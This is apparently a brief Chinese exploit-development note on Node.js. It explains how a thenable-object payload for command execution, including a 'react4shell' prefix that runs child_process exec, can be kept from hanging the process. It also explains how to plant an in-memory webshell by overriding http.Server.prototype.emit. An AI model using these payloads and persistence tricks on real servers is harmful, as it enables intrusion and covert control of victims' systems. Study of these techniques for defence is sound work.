防止 Dos
执行命令是通过创建一个 thenable 对象进而调用 then 函数造成的。javascript 中用 await 调用一个 thenable 对象时会执行器 then 函数。
await (()=>{return {then:Function('console.log(1)')}})();
直接这样执行会导致程序卡住,原因是:
Node.js是单线程的,其并发是通过异步进行的。await会链式调用 then 函数,如果 then 函数返回的依然是 thenable 则会链式执行。但如果返回值不是 thenable 则会一直等待一个 thenable,导致卡住。
我们观察一个正常的 await 调用案例:
async function func(resolve, reject){
console.log(1);
resolve();
}
await (() => {
return {then : func}
})();
await 在调用 then 函数时会传递两个参数,resolve 和 reject,这两个函数均可以结束 await。
所以以下 Payload 不会卡住:
await (()=>{return {then:Function('console.log(1);arguments[0]();')}})();
用 arguments[0] 拿到 resolve。
针对于 react4shell:
_prefix="(async() => {const cp = await import('node:child_process');cp.exec('touch /tmp/poc');})();arguments[0]();"
或者可以用 Error 报错来主动退出。
内存马作用域
网上公开了通过覆盖 http.Server.prototype.emit 函数来劫持 http request 的处理流程。其中不能用 () => {} 来覆盖函数,需要用 function。
因为不能影响其他 http 处理流程,仅仅劫持特定的 http request 流程,所以在最后要主动调用 originalEmit.apply(this, arguments) 来处理正常的 http 数据。
需要传递 this 参数,表示当前对象。而箭头函数和 function 作用域不一样。箭头函数的 this 继承自定义时的外层词法作用域(静态),会导致无法正常调用 originalEmit.apply。